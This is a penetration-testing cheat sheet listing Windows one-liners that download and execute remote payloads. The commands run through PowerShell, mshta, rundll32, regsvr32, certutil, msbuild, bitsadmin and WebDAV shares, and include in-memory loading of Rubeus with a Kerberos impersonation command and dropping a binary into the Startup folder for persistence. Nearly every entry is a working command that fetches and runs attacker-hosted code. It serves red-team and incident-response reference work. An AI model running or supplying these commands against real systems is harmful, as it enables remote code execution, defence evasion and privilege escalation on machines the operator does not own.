Internal Network Pentest and IR Reference: windows download execute

# Windows - Download and execute methods

## Downloaded files location

- C:\Users\<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files\
- C:\Users\<username>\AppData\Local\Microsoft\Windows\INetCache\IE\<subdir>
- C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

## Powershell

From an HTTP server

```powershell
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://webserver/payload.ps1')|iex"

# Download only
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1")
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"

# Download and run Rubeus, with arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c[PII_REDACTED]e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

# Execute a specific method from an assembly 
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
```

From a Webdav server

```powershell
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```

## Cmd

```powershell
cmd.exe /k < \\webdavserver\folder\batchfile.txt
```

## Cscript / Wscript

```powershell
cscript //E:jscript \\webdavserver\folder\payload.txt
```

## Mshta

```powershell
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
```

```powershell
mshta http://webserver/payload.hta
```

```powershell
mshta \\webdavserver\folder\payload.hta
```

## Rundll32

```powershell
rundll32 \\webdavserver\folder\payload.dll,entrypoint
```

```powershell
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```

## Regasm / Regsvc @subTee

```powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
```

## Regsvr32 @subTee

```powershell
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```

```powershell
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```

## Odbcconf

```powershell
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```

## Msbuild

```powershell
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```

## Certutil

```powershell
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
```

```powershell
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```

## Bitsadmin

```powershell
bitsadmin /transfer mydownloadjob /download /priority normal http://<attackerIP>/xyz.exe C:\\Users\\%USERNAME%\\AppData\\local\\temp\\xyz.exe
```

## References

- [arno0x0x - Windows oneliners to download remote payload and execute arbitrary code](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)